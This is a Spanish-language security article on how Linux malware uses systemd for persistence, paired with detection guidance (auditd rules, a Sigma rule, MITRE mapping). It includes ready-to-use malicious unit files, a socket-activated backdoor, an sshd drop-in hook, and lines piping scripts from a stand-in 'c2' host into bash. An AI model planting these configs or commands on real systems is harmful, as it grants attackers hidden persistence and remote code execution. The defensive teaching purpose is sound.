Systemd como Vector de Persistencia para Malware en Linux

Systemd: el init system que el malware adora

TL;DR: Systemd es el gestor de servicios moderno en Linux que los atacantes explotan para lograr persistencia mediante la creación de service units maliciosos. A diferencia de técnicas tradicionales, permite que el malware se camufle entre cientos de procesos legítimos y se reinicie automáticamente si el proceso es finalizado. Es fundamental auditar periódicamente las unidades de servicio y vigilar rutas de ejecución no estándar para detectar estas amenazas.

Systemd es el init system y service manager estándar en Linux desde ~2015. Gestiona el arranque del sistema, los servicios, timers, sockets, montajes y más. Prácticamente todo lo que se ejecuta automáticamente en un Linux moderno pasa por systemd.

Para el malware, systemd ofrece lo mismo que para el software legítimo: ejecución automática al arranque, reinicio si el proceso muere, logging integrado, y la capacidad de ejecutarse como cualquier usuario o como root. Y como hay cientos de units legítimas en cualquier sistema, una unit maliciosa se camufla fácilmente.

Técnicas de persistencia con systemd

Técnica 1: service unit malicioso

La técnica más directa. Crear un archivo .service en /etc/systemd/system/:

# /etc/systemd/system/system-update.service
[Unit]
Description=System Update Service
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/usr/local/bin/.update-daemon
Restart=always
RestartSec=60
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target

Activación:

systemctl daemon-reload
systemctl enable system-update.service
systemctl start system-update.service

Indicadores sospechosos:

• Nombre genérico que simula un servicio del sistema ("system-update", "network-manager-helper")
• ExecStart apuntando a binarios en ubicaciones no estándar (/tmp, /dev/shm, home directories, dotfiles)
• Restart=always (el malware se reinicia si lo matas)
• StandardOutput/StandardError a null (ocultar output)
• Creado recientemente (comparar fecha de modificación con otros units)

Técnica 2: timer unit (alternativa a cron)

Crear un timer que ejecuta el malware periódicamente:

# /etc/systemd/system/cleanup.timer
[Unit]
Description=System Cleanup Timer

[Timer]
OnCalendar=*:0/15
# Cada 15 minutos
Persistent=true
# Si se perdio una ejecucion, ejecutar al arrancar
RandomizedDelaySec=30
# Delay aleatorio para parecer menos regular

[Install]
WantedBy=timers.target

# /etc/systemd/system/cleanup.service
[Unit]
Description=System Cleanup

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -sL http://c2/update.sh | bash'

Ventajas sobre cron:

• Persistent=true: ejecuta al arrancar si se perdió la ejecución programada
• RandomizedDelaySec: dificulta correlación temporal
• No aparece en crontab -l
• Menos monitorizados que crontabs

Técnica 3: user service (sin root)

Cualquier usuario puede crear servicios en su directorio home:

mkdir -p ~/.config/systemd/user/

cat > ~/.config/systemd/user/browser-sync.service << 'EOF'
[Unit]
Description=Browser Sync Helper

[Service]
Type=simple
ExecStart=%h/.local/bin/.sync-helper
Restart=always
RestartSec=120

[Install]
WantedBy=default.target
EOF

systemctl --user daemon-reload
systemctl --user enable browser-sync.service
systemctl --user start browser-sync.service

No requiere root. Se ejecuta con los permisos del usuario cuando inicia sesión. Ideal para malware que compromete una cuenta de usuario sin escalada de privilegios.

Técnica 4: socket activation

Crear un servicio que se activa cuando un paquete llega a un puerto específico:

# /etc/systemd/system/helper.socket
[Unit]
Description=Helper Socket

[Socket]
ListenStream=0.0.0.0:31337
Accept=yes

[Install]
WantedBy=sockets.target

# /etc/systemd/system/[email protected]
[Unit]
Description=Helper Service

[Service]
Type=simple
ExecStart=/usr/local/bin/.backdoor
StandardInput=socket
StandardOutput=socket

El servicio .backdoor solo se ejecuta cuando alguien se conecta al puerto 31337. No consume recursos hasta que se activa. Es un backdoor on-demand.

Técnica 5: generator scripts

Systemd generators son scripts que se ejecutan muy temprano en el arranque (antes de que la mayoría de servicios inicien):

# /etc/systemd/system-generators/custom-generator
#!/bin/bash
# Este script se ejecuta como root durante el arranque temprano
curl -sL http://c2/early-payload.sh | bash &

Peligroso: los generators se ejecutan antes de que las herramientas de seguridad inicien. Son difíciles de monitorizar.

Técnica 6: drop-in overrides

Modificar un servicio existente sin reemplazar el unit file original:

mkdir -p /etc/systemd/system/sshd.service.d/

cat > /etc/systemd/system/sshd.service.d/override.conf << 'EOF'
[Service]
ExecStartPre=/usr/local/bin/.pre-hook
EOF

systemctl daemon-reload

Cada vez que sshd se inicia, ejecuta .pre-hook primero. El unit file original (/usr/lib/systemd/system/sshd.service) no se modifica, lo que dificulta la detección por verificación de integridad de paquetes.

Detección de persistencia systemd

Comparar con baseline

# Capturar baseline de units habilitados
systemctl list-unit-files --state=enabled > /root/systemd_baseline.txt
systemctl list-timers --all > /root/timers_baseline.txt

# Periodicamente comparar
systemctl list-unit-files --state=enabled > /tmp/current.txt
diff /root/systemd_baseline.txt /tmp/current.txt

Buscar units sospechosos

# Units que ejecutan desde ubicaciones no estandar
grep -rn 'ExecStart.*tmp\|ExecStart.*shm\|ExecStart.*home\|ExecStart.*/\.' \
    /etc/systemd/system/ /run/systemd/system/ 2>/dev/null

# Units creados recientemente (ultimos 7 dias)
find /etc/systemd/system/ -name "*.service" -mtime -7 2>/dev/null
find /etc/systemd/system/ -name "*.timer" -mtime -7 2>/dev/null

# User units (todos los usuarios)
find /home -path "*/.config/systemd/user/*.service" 2>/dev/null
find /root -path "*/.config/systemd/user/*.service" 2>/dev/null

# Drop-in overrides
find /etc/systemd/system/*.d/ -name "*.conf" 2>/dev/null

# Generators custom
ls -la /etc/systemd/system-generators/ /run/systemd/system-generators/ 2>/dev/null

# Timers activos (buscar nombres sospechosos)
systemctl list-timers --all

# Sockets activos
systemctl list-sockets --all

auditd rules

# Monitorizar escritura en directorios de systemd
-w /etc/systemd/system/ -p wa -k systemd_persist
-w /run/systemd/system/ -p wa -k systemd_persist
-w /etc/systemd/system-generators/ -p wa -k systemd_generators

# Monitorizar systemctl enable/start
-w /usr/bin/systemctl -p x -k systemctl_exec

# Monitorizar user units
-w /home/ -p wa -k user_systemd

Sigma rule

title: Suspicious Systemd Service Created
id: b1c2d3e4-f5a6-7890-bcde-f12345678901
status: stable
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|contains:
            - '/etc/systemd/system/'
            - '/.config/systemd/user/'
        TargetFilename|endswith:
            - '.service'
            - '.timer'
            - '.socket'
    filter_package_manager:
        Image|contains:
            - 'dpkg'
            - 'rpm'
            - 'apt'
            - 'yum'
    condition: selection and not filter_package_manager
level: high
tags:
    - attack.persistence
    - attack.t1543.002

Persistencia systemd en malware real

Malware	Tipo de persistencia systemd
TeamTNT	Service unit + timer para cryptominer
Kinsing	Service unit con Restart=always
RedXOR	Service unit disfrazado de servicio del sistema
Orbit (Symbiote-related)	Service unit con socket activation
XorDDoS	Service unit + init script (compatibilidad)
Skidmap	Service unit + rootkit para ocultar el unit file

Mapeo MITRE ATT&CK

Técnica	ID	Contexto systemd
Create or Modify System Process: Systemd Service	T1543.002	Service units maliciosos
Scheduled Task/Job: Systemd Timers	T1053.006	Timer units para ejecución periódica
Boot or Logon Initialization Scripts	T1037	Generators, drop-in overrides
Event Triggered Execution	T1546	Socket activation
Hide Artifacts	T1564	Service con nombre que simula servicio legítimo

---

Fuentes y referencias

• systemd. "systemd System and Service Manager." https://systemd.io/
• MITRE ATT&CK. "Systemd Service (T1543.002)." https://attack.mitre.org/techniques/T1543/002/
• MITRE ATT&CK. "Systemd Timers (T1053.006)." https://attack.mitre.org/techniques/T1053/006/
• Trend Micro. "Linux Persistence Techniques." Trend Micro Research, 2024.
• CrowdStrike. "Systemd Persistence in Modern Linux Malware." 2024.
• Red Canary. "Linux Persistence: Systemd." 2024 Threat Detection Report.
• Freedesktop.org. "systemd Unit File Documentation."

---

Sigue leyendo

• Auditd y Falco para Detección de Malware en Linux
• Cloud Malware: AWS, GCP y Azure en la Mira de los Atacantes
• Shell scripts maliciosos: analisis y deofuscacion